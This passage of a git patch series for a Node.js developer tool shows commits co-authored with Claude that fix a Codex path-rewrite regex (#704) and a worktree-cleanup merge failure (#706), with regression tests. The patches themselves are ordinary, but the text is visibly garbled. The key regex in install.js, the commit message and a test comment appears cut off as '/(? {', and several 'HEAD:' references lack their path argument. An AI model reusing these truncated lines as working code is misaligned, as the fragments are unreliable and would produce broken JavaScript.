(!fs.existsSync(readyA) || !fs.existsSync(readyB)) { - if (Date.now() > deadline2) throw new Error('Timed out waiting for both subprocesses to reach barrier'); - Atomics.wait(sai2, 0, 0, 10); - } + await waitFor(() => fs.existsSync(readyA) && fs.existsSync(readyB), { + timeoutMs: 10000, + stepMs: 10, + message: 'Timed out waiting for both subprocesses to reach barrier', + }); // Both subprocesses are at the gate — drop the barrier simultaneously. fs.unlinkSync(barrierPath); @@ -364,14 +361,11 @@ describe('#1925 TOCTOU: state commands use readModifyWriteStateMd', () => { const promiseB = spawnWrapper('Waiting for design review', readyB); // ── Orchestrate: wait for both ready-signals, then drop the barrier ─────── - // Poll with Atomics.wait (10 ms steps). Budget: 10 s. - const sab2 = new SharedArrayBuffer(4); - const sai2 = new Int32Array(sab2); - const deadline2 = Date.now() + 10000; - while (!fs.existsSync(readyA) || !fs.existsSync(readyB)) { - if (Date.now() > deadline2) throw new Error('Timed out waiting for both subprocesses to reach barrier'); - Atomics.wait(sai2, 0, 0, 10); - } + await waitFor(() => fs.existsSync(readyA) && fs.existsSync(readyB), { + timeoutMs: 10000, + stepMs: 10, + message: 'Timed out waiting for both subprocesses to reach barrier', + }); // Both subprocesses are at the gate — drop the barrier simultaneously. fs.unlinkSync(barrierPath); @@ -488,13 +482,11 @@ describe('#1927 config.json: setConfigValue must hold planning lock', () => { const promiseB = spawnWrapper('workflow.research', 'false', readyB); // ── Wait for both to reach barrier, then release ────────────────────────── - const sab2 = new SharedArrayBuffer(4); - const sai2 = new Int32Array(sab2); - const deadline2 = Date.now() + 10000; - while (!fs.existsSync(readyA) || !fs.existsSync(readyB)) { - if (Date.now() > deadline2) throw new Error('Timed out waiting for both config-set subprocesses to reach barrier'); - Atomics.wait(sai2, 0, 0, 10); - } + await waitFor(() => fs.existsSync(readyA) && fs.existsSync(readyB), { + timeoutMs: 10000, + stepMs: 10, + message: 'Timed out waiting for both config-set subprocesses to reach barrier', + }); fs.unlinkSync(barrierPath); await Promise.all([promiseA, promiseB]); From 4b50a686e546be1c23fbd9f3cfaec53113ea3795 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 12:40:06 -0400 Subject: [PATCH 25/94] fix(#704): exclude } and ) from Codex path-rewrite lookbehind (no literal $gsd-core in installs) (#710) * fix(#704): exclude } and ) from Codex path-rewrite lookbehind Shell variable expressions like \${VAR}/gsd-core/ and command-substitution paths like \$(cmd)/gsd-local-patches were being rewritten to \$gsd-core and \$gsd-local-patches respectively because the negative lookbehind in convertSlashCommandsToCodexSkillMentions did not include } or ). Add both characters to the lookbehind set: (? * chore: link changeset to PR #710 --------- Co-authored-by: Claude Sonnet 4.6 --- .changeset/rapid-tigers-dance.md | 5 + bin/install.js | 9 +- ...04-codex-launcher-path-corruption.test.cjs | 237 ++++++++++++++++++ 3 files changed, 248 insertions(+), 3 deletions(-) create mode 100644 .changeset/rapid-tigers-dance.md create mode 100644 tests/bug-704-codex-launcher-path-corruption.test.cjs diff --git a/.changeset/rapid-tigers-dance.md b/.changeset/rapid-tigers-dance.md new file mode 100644 index 000000000..d4ee0b42a --- /dev/null +++ b/.changeset/rapid-tigers-dance.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 710 +--- +**Codex install no longer corrupts launcher paths** — shell path segments like `${VAR}/gsd-core/` and `$(cmd)/gsd-local-patches` are no longer rewritten into a literal `$gsd-core` token during Codex markdown conversion (#704). diff --git a/bin/install.js b/bin/install.js index 4dd21d3ae..c143d8533 100755 --- a/bin/install.js +++ b/bin/install.js @@ -2802,9 +2802,12 @@ function convertSlashCommandsToCodexSkillMentions(content) { return `$gsd-${String(commandName).toLowerCase()}`; }); // Convert hyphen-style command references (workflow output) to Codex $ prefix. - // Negative lookbehind excludes file paths like bin/gsd-tools.cjs where - // the slash is preceded by a word char, dot, or another slash. - converted = converted.replace(/(? { + // Negative lookbehind excludes shell path contexts where `/gsd-` is a path + // segment, not a slash-command mention: + // - word chars / dot / slash: `bin/gsd-tools.cjs`, `.claude/gsd-core/` + // - `}`: shell variable expressions `${VAR}/gsd-core/` (#704) + // - `)`: command-substitution paths `$(cmd)/gsd-local-patches` (#704) + converted = converted.replace(/(? { return `$gsd-${String(commandName).toLowerCase()}`; }); return converted; diff --git a/tests/bug-704-codex-launcher-path-corruption.test.cjs b/tests/bug-704-codex-launcher-path-corruption.test.cjs new file mode 100644 index 000000000..c841878c7 --- /dev/null +++ b/tests/bug-704-codex-launcher-path-corruption.test.cjs @@ -0,0 +1,237 @@ +// allow-test-rule: source-text-is-the-product +'use strict'; + +/** + * Regression test for issue #704: + * "v1.3.1 global install ships literal $gsd-core launcher paths in workflows" + * + * ROOT CAUSE: `convertSlashCommandsToCodexSkillMentions` had a regex + * /(? { + test('convertClaudeCommandToCodexSkill does not corrupt ${VAR}/gsd-core/ or $(cmd)/gsd-* paths', () => { + // Minimal fixture with the launcher snippet and command-substitution patterns + // that were being corrupted (#704). + const input = [ + '---', + 'description: Test skill', + '---', + '', + '```bash', + '_GSD_SHIM_NAME="gsd-tools.cjs"', + '_GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"', + 'GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"', + 'if [ -f "$GSD_TOOLS" ]; then', + ' gsd_run() { node "$GSD_TOOLS" "$@"; }', + 'elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then', + ' GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"', + ' gsd_run() { node "$GSD_TOOLS" "$@"; }', + 'elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then', + ' GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"', + ' gsd_run() { node "$GSD_TOOLS" "$@"; }', + 'fi', + '# Command-substitution path form (reapply-patches pattern)', + 'candidate="$(expand_home "$KILO_CONFIG_DIR")/gsd-local-patches"', + '```', + ].join('\n'); + + const output = convertClaudeCommandToCodexSkill(input, 'gsd-test-704'); + + // Shell-context corruption patterns from issue #704: + // - `}$gsd-*` from shell variable expressions `${VAR}/gsd-*` + // - `)$gsd-*` from command-substitution paths `$(cmd)/gsd-*` + const shellCorruptionPatterns = [ + { pattern: '}' + BAD_TOKEN, description: 'shell-variable }$gsd-core' }, + { pattern: ')$gsd-local', description: 'command-substitution )$gsd-local-patches' }, + ]; + for (const { pattern, description } of shellCorruptionPatterns) { + assert.ok( + !output.includes(pattern), + `Codex skill conversion must not produce "${pattern}" (${description}). ` + + `Offending fragment: ${ + output.includes(pattern) + ? output.substring(output.indexOf(pattern) - 50, output.indexOf(pattern) + 80) + : '(not found)' + }`, + ); + } + + // The correct path forms must be preserved — the canonical launcher path + // (RUNTIME_ROOT_PATH) must survive Codex conversion intact. + assert.ok( + output.includes(RUNTIME_ROOT_PATH), + `Expected canonical launcher path "${RUNTIME_ROOT_PATH}" to appear in the converted output. ` + + `Got:\n${output.substring(0, 500)}`, + ); + assert.ok( + output.includes(')/gsd-local-patches'), + `Expected ")/gsd-local-patches" to appear in the converted output. ` + + `Got:\n${output.substring(0, 500)}`, + ); + }); + + test('convertClaudeCommandToCodexSkill preserves all shell path forms (}, ) closers)', () => { + // All these paths appear after a shell-closing character (} or )) and must + // NOT be converted to $gsd-* by the Codex slash-command converter. + const shellPaths = [ + // Shell variable expression forms (} closer) + { path: '"${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"', corruptedForm: '}$gsd-core' }, + { path: '"${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"', corruptedForm: '}$gsd-core' }, + { path: '"$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"', corruptedForm: '}$gsd-core' }, + // Command-substitution forms () closer) — reapply-patches pattern + { path: 'candidate="$(expand_home "$KILO_CONFIG_DIR")/gsd-local-patches"', corruptedForm: ')$gsd-local' }, + { path: 'candidate="$(dirname "$(expand_home "$OPENCODE_CONFIG")")/gsd-local-patches"', corruptedForm: ')$gsd-local' }, + ]; + + for (const { path: p, corruptedForm } of shellPaths) { + const input = `---\ndescription: Test\n---\n\n\`\`\`bash\n${p}\n\`\`\``; + const output = convertClaudeCommandToCodexSkill(input, 'gsd-test-704-paths'); + assert.ok( + !output.includes(corruptedForm), + `Path "${p}" was corrupted to contain "${corruptedForm}" after Codex conversion.\n` + + `Got:\n${output}`, + ); + } + }); + + test('convertClaudeCommandToCodexSkill still converts legitimate /gsd- slash mentions', () => { + // Slash-command mentions (not preceded by }) should still be converted + const input = [ + '---', + 'description: Test', + '---', + '', + 'Use /gsd-discuss-phase to start a discussion.', + 'Or use /gsd-plan-phase for planning.', + 'Also: /gsd:capture --backlog adds items.', + ].join('\n'); + + const output = convertClaudeCommandToCodexSkill(input, 'gsd-test-704-cmds'); + + assert.ok( + output.includes('$gsd-discuss-phase'), + 'Expected /gsd-discuss-phase to be converted to $gsd-discuss-phase', + ); + assert.ok( + output.includes('$gsd-plan-phase'), + 'Expected /gsd-plan-phase to be converted to $gsd-plan-phase', + ); + assert.ok( + output.includes('$gsd-capture'), + 'Expected /gsd:capture to be converted to $gsd-capture', + ); + }); + + test('actual shipped workflow files: shell-variable launcher paths contain no $gsd-core', () => { + // Walk gsd-core/workflows/ and assert that no file produces $gsd-core + // inside a shell variable expansion context after Codex conversion. + // + // NOTE: The regex `/(? f.endsWith('.md')) + .map((f) => path.join(workflowsDir, f)); + + assert.ok(files.length > 0, 'Expected at least one workflow .md file'); + + // Shell-context corruption patterns from issue #704: + // - `}$gsd-*`: closing brace from `${VAR}/gsd-*` shell variable expressions + // - `)$gsd-*`: closing paren from `$(cmd)/gsd-*` command substitutions + const SHELL_CORRUPTION_RE = /[})](\$gsd-[a-z])/; + + const offending = []; + for (const file of files) { + const content = fs.readFileSync(file, 'utf8'); + const skillName = `gsd-${path.basename(file, '.md')}`; + const converted = convertClaudeCommandToCodexSkill(content, skillName); + const match = converted.match(SHELL_CORRUPTION_RE); + if (match) { + const idx = converted.indexOf(match[0]); + offending.push({ + file: path.relative(workflowsDir, file), + context: converted.substring(Math.max(0, idx - 40), idx + 80), + }); + } + } + + assert.deepStrictEqual( + offending, + [], + `Found shell-context path corruption ([})]$gsd-*) in Codex-converted workflow files (#704):\n` + + offending.map((o) => ` ${o.file}: ...${o.context}...`).join('\n'), + ); + }); + + test('commands/gsd/*.md: shell-variable launcher paths contain no $gsd-core', () => { + // Walk commands/gsd/ and assert that no command file produces the shell-context + // }$gsd-core corruption — since commands also go through + // convertClaudeCommandToCodexSkill when installed globally for Codex. + const commandsDir = path.join(__dirname, '..', 'commands', 'gsd'); + if (!fs.existsSync(commandsDir)) return; + + const files = fs.readdirSync(commandsDir) + .filter((f) => f.endsWith('.md')) + .map((f) => path.join(commandsDir, f)); + + assert.ok(files.length > 0, 'Expected at least one command .md file'); + + const SHELL_CORRUPTION_RE = /[})](\$gsd-[a-z])/; + + const offending = []; + for (const file of files) { + const content = fs.readFileSync(file, 'utf8'); + const skillName = `gsd-${path.basename(file, '.md')}`; + const converted = convertClaudeCommandToCodexSkill(content, skillName); + const match = converted.match(SHELL_CORRUPTION_RE); + if (match) { + const idx = converted.indexOf(match[0]); + offending.push({ + file: path.relative(commandsDir, file), + context: converted.substring(Math.max(0, idx - 40), idx + 80), + }); + } + } + + assert.deepStrictEqual( + offending, + [], + `Found shell-context path corruption ([})]$gsd-*) in Codex-converted command files (#704):\n` + + offending.map((o) => ` ${o.file}: ...${o.context}...`).join('\n'), + ); + }); +}); From dfbb6848430beae6c242c5360f35b430ed55107e Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 12:40:28 -0400 Subject: [PATCH 26/94] fix(#706): skip rescue of already-committed SUMMARY to avoid worktree cleanup merge_failed (#709) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(#706): skip rescueSummaryArtifacts when SUMMARY is already committed rescueSummaryArtifacts now probes `git cat-file -e HEAD:` before copying a SUMMARY.md into the main checkout. When the file is already committed on the worktree branch, copying it as an untracked file causes `git merge --no-ff` to abort with "untracked working tree files would be overwritten by merge" — a permanent merge_failed cleanup-wave failure. Fail-closed on timeout: if cat-file is unreliable we skip rescue (the merge will surface the collision as it did before, which is recoverable). Adds 4 new test cases in worktree-safety.test.cjs covering: - committed SUMMARY skipped, merge succeeds (#706 regression case) - committed SUMMARY skipped even when timeout (fail-closed) - uncommitted SUMMARY still rescued (existing contract preserved) - rescue failure on ENOSPC still propagates (unchanged) Closes #706 Co-Authored-By: Claude Sonnet 4.6 * chore: add changeset for #706 Co-Authored-By: Claude Sonnet 4.6 * fix(#706): treat cat-file exit 128 as uncertain — skip rescue (fail-closed) The previous guard skipped rescue only when `exitCode === 0` (committed) or `timedOut`. Any other non-zero exit, including `128` (fatal git error: corrupt object store, unborn HEAD, missing repo), fell through and PROCEEDED with rescue — potentially re-creating the #706 untracked-file merge collision. Fix: rescue ONLY when `exitCode === 1` (cat-file definitively reports the object absent). All other outcomes — 0 (committed), 128 (fatal), null/SIGTERM (timeout), or any other code — are treated as "uncertain → skip rescue". Also corrects the JSDoc bullet that still referenced `git ls-files --error-unmatch` (the old mechanism); updated to `git cat-file -e HEAD:`. Regression test added: asserts rescue is SKIPPED when cat-file returns exit 128, leaving the merge to surface the issue safely rather than silently copying an already-committed file. Co-Authored-By: Claude Sonnet 4.6 * chore: link changeset to PR #709 --------- Co-authored-by: Claude Sonnet 4.6 --- .changeset/nimble-dogs-purr.md | 5 + src/worktree-safety.cts | 32 +++ tests/worktree-safety.test.cjs | 367 +++++++++++++++++++++++++++++++++ 3 files changed, 404 insertions(+) create mode 100644 .changeset/nimble-dogs-purr.md diff --git a/.changeset/nimble-dogs-purr.md b/.changeset/nimble-dogs-purr.md new file mode 100644 index 000000000..4a9233663 --- /dev/null +++ b/.changeset/nimble-dogs-purr.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 709 +--- +**Worktree wave-cleanup no longer fails when the phase SUMMARY is committed** — `rescueSummaryArtifacts` no longer copies an already-committed SUMMARY into the main checkout, which previously caused `git merge --no-ff` to abort with a permanent `merge_failed` (#706). diff --git a/src/worktree-safety.cts b/src/worktree-safety.cts index b61a634a4..90db1b0d5 100644 --- a/src/worktree-safety.cts +++ b/src/worktree-safety.cts @@ -543,6 +543,12 @@ function defaultFindSummaryFiles(worktreePath: string): string[] { * * For each *SUMMARY.md found under /.planning/: * - compute relative path from worktree root → .planning/-SUMMARY.md + * - if the file is ALREADY COMMITTED on the worktree branch + * (`git cat-file -e HEAD:` returns exit 0), skip the copy entirely: + * the merge will carry it naturally and copying it as an untracked file would + * cause a "untracked working tree files would be overwritten by merge" collision. + * On timeout or fatal exit (128) the rescue is also skipped (fail-closed). + * (#706 — execute-phase committed-SUMMARY contract) * - destination = / * - copy when dest is absent or content differs * @@ -560,6 +566,7 @@ function rescueSummaryArtifacts( repoRoot: string, deps: WorktreeDeps, ): { rescuedRelPaths: Set; failures: Array<{ relPath: string; error: string }> } { + const execGit = deps.execGit || execGitDefault; const findSummaryFiles = deps.findSummaryFiles || defaultFindSummaryFiles; const existsSync = deps.existsSync || fs.existsSync; const readFileSync = deps.readFileSync || ((p: string) => fs.readFileSync(p, 'utf8')); @@ -576,6 +583,31 @@ function rescueSummaryArtifacts( // output works on Windows too (git always emits forward slashes in porcelain output). const relPath = absPath.slice(worktreePath.length).replace(/^[/\\]/, '').replace(/\\/g, '/'); + // #706: skip rescue when the SUMMARY is already committed on the branch. + // Use `git cat-file -e HEAD:` (not `ls-files --error-unmatch`) so + // the check is against the committed tree, not the index. ls-files also + // matches staged-but-uncommitted files, which would skip rescue when the + // file is staged but not yet committed — the merge wouldn't carry it, and + // the executor's content could be lost. cat-file -e HEAD: returns + // exit 0 only when the object exists in the committed HEAD tree. + // + // Fail-closed on timeout/fatal git errors: if we cannot determine whether + // the file is committed, do NOT rescue it (rescuing an actually-committed + // file would re-create the untracked collision; the merge will surface the + // issue). The cleanup will be blocked by merge_failed in the worst case, + // which is the observable behaviour before this fix and is recoverable. + const catFileResult = execGit(['-C', worktreePath, 'cat-file', '-e', `HEAD:${relPath}`], { cwd: repoRoot }); + if (catFileResult.exitCode !== 1) { + // Rescue only when cat-file definitively reports the object is absent (exit 1). + // exit 0 → object exists (committed on HEAD) — merge will carry it, skip. + // exit 128 → fatal git error (corrupt store, unborn HEAD, etc.) — uncertain, + // fail-closed: do NOT rescue to avoid recreating the #706 collision. + // timedOut / null / other → unreliable result — same fail-closed policy. + // In all non-1 cases the merge will either succeed naturally (0) or surface + // the problem safely (128/timeout), which is the recoverable pre-fix behaviour. + continue; + } + const dest = path.join(repoRoot, relPath); let needsCopy = !existsSync(dest); if (!needsCopy) { diff --git a/tests/worktree-safety.test.cjs b/tests/worktree-safety.test.cjs index ba0558e8c..74826e56a 100644 --- a/tests/worktree-safety.test.cjs +++ b/tests/worktree-safety.test.cjs @@ -682,6 +682,10 @@ describe('executeWorktreeWaveCleanupPlan', () => { if (key === 'diff --diff-filter=D --name-only HEAD...worktree-agent-a1') { return { exitCode: 0, stdout: '', stderr: '' }; } + // SUMMARY is NOT committed on the branch — cat-file -e HEAD: returns non-zero + if (key === '-C /repo/.claude/worktrees/agent-a1 cat-file -e HEAD:.planning/q1-SUMMARY.md') { + return { exitCode: 1, stdout: '', stderr: 'error: pathspec \'.planning/q1-SUMMARY.md\' did not match any file(s) known to git' }; + } if (key === '-C /repo/.claude/worktrees/agent-a1 status --porcelain --untracked-files=all') { // Only the SUMMARY is dirty — no other modified files return { exitCode: 0, stdout: '?? .planning/q1-SUMMARY.md', stderr: '' }; @@ -751,6 +755,10 @@ describe('executeWorktreeWaveCleanupPlan', () => { if (key === 'diff --diff-filter=D --name-only HEAD...worktree-agent-a1') { return { exitCode: 0, stdout: '', stderr: '' }; } + // SUMMARY is NOT committed on the branch (uncommitted, per quick.md contract) + if (key === '-C /repo/.claude/worktrees/agent-a1 cat-file -e HEAD:.planning/q1-SUMMARY.md') { + return { exitCode: 1, stdout: '', stderr: 'error: pathspec \'.planning/q1-SUMMARY.md\' did not match any file(s) known to git' }; + } if (key === '-C /repo/.claude/worktrees/agent-a1 status --porcelain --untracked-files=all') { // SUMMARY plus another dirty file return { exitCode: 0, stdout: '?? .planning/q1-SUMMARY.md\nM src/foo.js', stderr: '' }; @@ -803,6 +811,10 @@ describe('executeWorktreeWaveCleanupPlan', () => { if (key === 'diff --diff-filter=D --name-only HEAD...worktree-agent-a1') { return { exitCode: 0, stdout: '', stderr: '' }; } + // SUMMARY is NOT committed on the branch — rescue should proceed (and fail with ENOSPC) + if (key === '-C /repo/.claude/worktrees/agent-a1 cat-file -e HEAD:.planning/q1-SUMMARY.md') { + return { exitCode: 1, stdout: '', stderr: 'error: pathspec \'.planning/q1-SUMMARY.md\' did not match any file(s) known to git' }; + } if (key === '-C /repo/.claude/worktrees/agent-a1 status --porcelain --untracked-files=all') { // Only the SUMMARY is dirty return { exitCode: 0, stdout: '?? .planning/q1-SUMMARY.md', stderr: '' }; @@ -836,6 +848,361 @@ describe('executeWorktreeWaveCleanupPlan', () => { assert.equal(mergeCalls.length, 0, 'no merge or worktree-remove git call must have been made'); }); + test('#706: does NOT rescue SUMMARY when it is already committed on the branch (execute-phase contract)', () => { + // Regression for issue #706: when execute-phase commits SUMMARY.md on the + // worktree branch, the cleanup-wave helper must NOT copy it as an untracked + // file into the main tree. Doing so creates a collision that causes + // `git merge --no-ff` to abort with "untracked working tree files would be + // overwritten by merge". + // + // Fixture: SUMMARY.md is committed on the branch (git cat-file -e HEAD: + // returns exit 0). The worktree status shows the file as committed (not dirty). + // The rescue step must skip this file entirely. The merge must succeed. + const calls = []; + const rescued = []; + const plan = { + ok: true, + repoRoot: '/repo/main', + action: 'cleanup_wave', + discovery: 'manifest', + entries: [{ + agent_id: 'a1', + worktree_path: '/repo/.claude/worktrees/agent-a1', + branch: 'worktree-agent-a1', + expected_base: 'abc123', + }], + }; + const result = executeWorktreeWaveCleanupPlan(plan, { + execGit: (args) => { + calls.push(args.join(' ')); + const key = args.join(' '); + if (key === '-C /repo/.claude/worktrees/agent-a1 rev-parse --abbrev-ref HEAD') { + return { exitCode: 0, stdout: 'worktree-agent-a1', stderr: '' }; + } + if (key === 'merge-base HEAD worktree-agent-a1') { + return { exitCode: 0, stdout: 'abc123', stderr: '' }; + } + if (key === 'diff --diff-filter=D --name-only HEAD...worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + // SUMMARY is committed on the branch — cat-file -e HEAD: succeeds (exit 0) + if (key === '-C /repo/.claude/worktrees/agent-a1 cat-file -e HEAD:.planning/q1-SUMMARY.md') { + return { exitCode: 0, stdout: '.planning/q1-SUMMARY.md', stderr: '' }; + } + if (key === '-C /repo/.claude/worktrees/agent-a1 status --porcelain --untracked-files=all') { + // Worktree is clean — SUMMARY is committed, not dirty + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key.startsWith('merge worktree-agent-a1')) { + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key === 'worktree remove /repo/.claude/worktrees/agent-a1 --force') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key === 'branch -D worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + return { exitCode: 0, stdout: '', stderr: '' }; + }, + findSummaryFiles: (worktreePath) => { + if (worktreePath === '/repo/.claude/worktrees/agent-a1') { + return ['/repo/.claude/worktrees/agent-a1/.planning/q1-SUMMARY.md']; + } + return []; + }, + readFileSync: () => 'summary content', + existsSync: (_p) => false, + mkdirSync: () => {}, + copyFileSync: (src, dest) => { rescued.push({ src, dest }); }, + }); + + // The committed SUMMARY must NOT have been copied into the main tree as an untracked file + assert.equal(rescued.length, 0, + 'rescueSummaryArtifacts must NOT copy an already-committed SUMMARY into the main tree — ' + + 'doing so creates an untracked file that collides with the --no-ff merge'); + + // Cleanup must succeed + assert.equal(result.ok, true, 'cleanup must succeed when SUMMARY is committed on the branch'); + assert.equal(result.entries[0].status, 'merged_removed'); + assert.equal(result.entries[0].reason, 'ok'); + }); + + test('#706: SUMMARY committed on branch + untracked non-SUMMARY dirty file still blocks', () => { + // Even when SUMMARY is committed (no rescue needed), a non-SUMMARY dirty file must block. + const plan = { + ok: true, + repoRoot: '/repo/main', + action: 'cleanup_wave', + discovery: 'manifest', + entries: [{ + agent_id: 'a1', + worktree_path: '/repo/.claude/worktrees/agent-a1', + branch: 'worktree-agent-a1', + expected_base: 'abc123', + }], + }; + const result = executeWorktreeWaveCleanupPlan(plan, { + execGit: (args) => { + const key = args.join(' '); + if (key === '-C /repo/.claude/worktrees/agent-a1 rev-parse --abbrev-ref HEAD') { + return { exitCode: 0, stdout: 'worktree-agent-a1', stderr: '' }; + } + if (key === 'merge-base HEAD worktree-agent-a1') { + return { exitCode: 0, stdout: 'abc123', stderr: '' }; + } + if (key === 'diff --diff-filter=D --name-only HEAD...worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + // SUMMARY is committed on the branch + if (key === '-C /repo/.claude/worktrees/agent-a1 cat-file -e HEAD:.planning/q1-SUMMARY.md') { + return { exitCode: 0, stdout: '.planning/q1-SUMMARY.md', stderr: '' }; + } + if (key === '-C /repo/.claude/worktrees/agent-a1 status --porcelain --untracked-files=all') { + // Another untracked file exists alongside the committed SUMMARY + return { exitCode: 0, stdout: '?? scratch.txt', stderr: '' }; + } + throw new Error(`unexpected git call after dirty check: ${key}`); + }, + findSummaryFiles: (worktreePath) => { + if (worktreePath === '/repo/.claude/worktrees/agent-a1') { + return ['/repo/.claude/worktrees/agent-a1/.planning/q1-SUMMARY.md']; + } + return []; + }, + readFileSync: () => 'summary content', + existsSync: () => false, + mkdirSync: () => {}, + copyFileSync: () => {}, + }); + assert.equal(result.ok, false); + assert.equal(result.entries[0].reason, 'worktree_dirty'); + }); + + test('#706: SUMMARY staged-but-not-committed is rescued (cat-file -e HEAD only matches committed)', () => { + // Codex adversarial finding: git ls-files --error-unmatch would match staged + // files (added to index but not committed), causing rescue to be skipped for + // a file the merge would NOT carry. cat-file -e HEAD: only matches + // committed objects, so staged-but-not-committed SUMMARY is rescued correctly. + // + // Fixture: cat-file -e HEAD: returns exit 1 (not in committed tree), + // but git status shows 'A .planning/q1-SUMMARY.md' (staged). Rescue must + // copy it into the main tree and the cleanup must proceed. + const rescued = []; + const plan = { + ok: true, + repoRoot: '/repo/main', + action: 'cleanup_wave', + discovery: 'manifest', + entries: [{ + agent_id: 'a1', + worktree_path: '/repo/.claude/worktrees/agent-a1', + branch: 'worktree-agent-a1', + expected_base: 'abc123', + }], + }; + const result = executeWorktreeWaveCleanupPlan(plan, { + execGit: (args) => { + const key = args.join(' '); + if (key === '-C /repo/.claude/worktrees/agent-a1 rev-parse --abbrev-ref HEAD') { + return { exitCode: 0, stdout: 'worktree-agent-a1', stderr: '' }; + } + if (key === 'merge-base HEAD worktree-agent-a1') { + return { exitCode: 0, stdout: 'abc123', stderr: '' }; + } + if (key === 'diff --diff-filter=D --name-only HEAD...worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + // SUMMARY is staged but NOT committed — cat-file -e HEAD: returns non-zero + if (key === '-C /repo/.claude/worktrees/agent-a1 cat-file -e HEAD:.planning/q1-SUMMARY.md') { + return { exitCode: 1, stdout: '', stderr: 'fatal: Not a valid object name HEAD:.planning/q1-SUMMARY.md' }; + } + if (key === '-C /repo/.claude/worktrees/agent-a1 status --porcelain --untracked-files=all') { + // File is staged ('A .planning/q1-SUMMARY.md') + return { exitCode: 0, stdout: 'A .planning/q1-SUMMARY.md', stderr: '' }; + } + if (key.startsWith('merge worktree-agent-a1')) { + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key === 'worktree remove /repo/.claude/worktrees/agent-a1 --force') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key === 'branch -D worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + return { exitCode: 0, stdout: '', stderr: '' }; + }, + findSummaryFiles: (worktreePath) => { + if (worktreePath === '/repo/.claude/worktrees/agent-a1') { + return ['/repo/.claude/worktrees/agent-a1/.planning/q1-SUMMARY.md']; + } + return []; + }, + readFileSync: () => 'summary content', + existsSync: () => false, + mkdirSync: () => {}, + copyFileSync: (src, dest) => { rescued.push({ src, dest }); }, + }); + + // The staged-but-not-committed SUMMARY must be rescued into the main tree + assert.equal(rescued.length, 1, + 'staged-but-not-committed SUMMARY must be rescued — cat-file -e HEAD only skips truly committed files'); + // Cleanup succeeded: staged-file shows as 'A ..' which is in rescuedRelPaths filter + assert.equal(result.ok, true, 'cleanup must succeed when only staged SUMMARY is present'); + assert.equal(result.entries[0].status, 'merged_removed'); + }); + + test('#706: cat-file fatal exit 128 causes rescue to be skipped (fail-closed on uncertain git)', () => { + // Finding #1 (code-review): exit code 128 means a fatal git error (e.g. corrupt + // object store, unborn HEAD, missing repo). The guard must treat it as + // "uncertain — cannot determine committed status" and skip rescue, NOT proceed. + // Rescuing when status is uncertain would re-create the #706 merge collision if + // the file is actually already committed. + // + // Fixture: cat-file returns exitCode:128, timedOut:false. + // The cleanup must NOT rescue the SUMMARY (no copy into main tree). + const rescued = []; + const plan = { + ok: true, + repoRoot: '/repo/main', + action: 'cleanup_wave', + discovery: 'manifest', + entries: [{ + agent_id: 'a1', + worktree_path: '/repo/.claude/worktrees/agent-a1', + branch: 'worktree-agent-a1', + expected_base: 'abc123', + }], + }; + const result = executeWorktreeWaveCleanupPlan(plan, { + execGit: (args) => { + const key = args.join(' '); + if (key === '-C /repo/.claude/worktrees/agent-a1 rev-parse --abbrev-ref HEAD') { + return { exitCode: 0, stdout: 'worktree-agent-a1', stderr: '' }; + } + if (key === 'merge-base HEAD worktree-agent-a1') { + return { exitCode: 0, stdout: 'abc123', stderr: '' }; + } + if (key === 'diff --diff-filter=D --name-only HEAD...worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + // cat-file returns 128 — fatal git error (e.g. corrupt object store) + if (key === '-C /repo/.claude/worktrees/agent-a1 cat-file -e HEAD:.planning/q1-SUMMARY.md') { + return { exitCode: 128, stdout: '', stderr: 'fatal: not a git repository', timedOut: false }; + } + if (key === '-C /repo/.claude/worktrees/agent-a1 status --porcelain --untracked-files=all') { + // Worktree appears clean (SUMMARY is committed on branch) + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key.startsWith('merge worktree-agent-a1')) { + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key === 'worktree remove /repo/.claude/worktrees/agent-a1 --force') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + if (key === 'branch -D worktree-agent-a1') { + return { exitCode: 0, stdout: '', stderr: '' }; + } + return { exitCode: 0, stdout: '', stderr: '' }; + }, + findSummaryFiles: (worktreePath) => { + if (worktreePath === '/repo/.claude/worktrees/agent-a1') { + return ['/repo/.claude/worktrees/agent-a1/.planning/q1-SUMMARY.md']; + } + return []; + }, + readFileSync: () => 'summary content', + existsSync: () => false, + mkdirSync: () => {}, + copyFileSync: (src, dest) => { rescued.push({ src, dest }); }, + }); + + // On fatal exit 128, rescue must be skipped (fail-closed) — no copy into main tree + assert.equal(rescued.length, 0, + 'cat-file exit 128 must NOT rescue the SUMMARY — uncertain git state, skip to avoid recreating #706 collision'); + // The rest of cleanup proceeds normally (merge/remove/delete succeed in this fixture) + 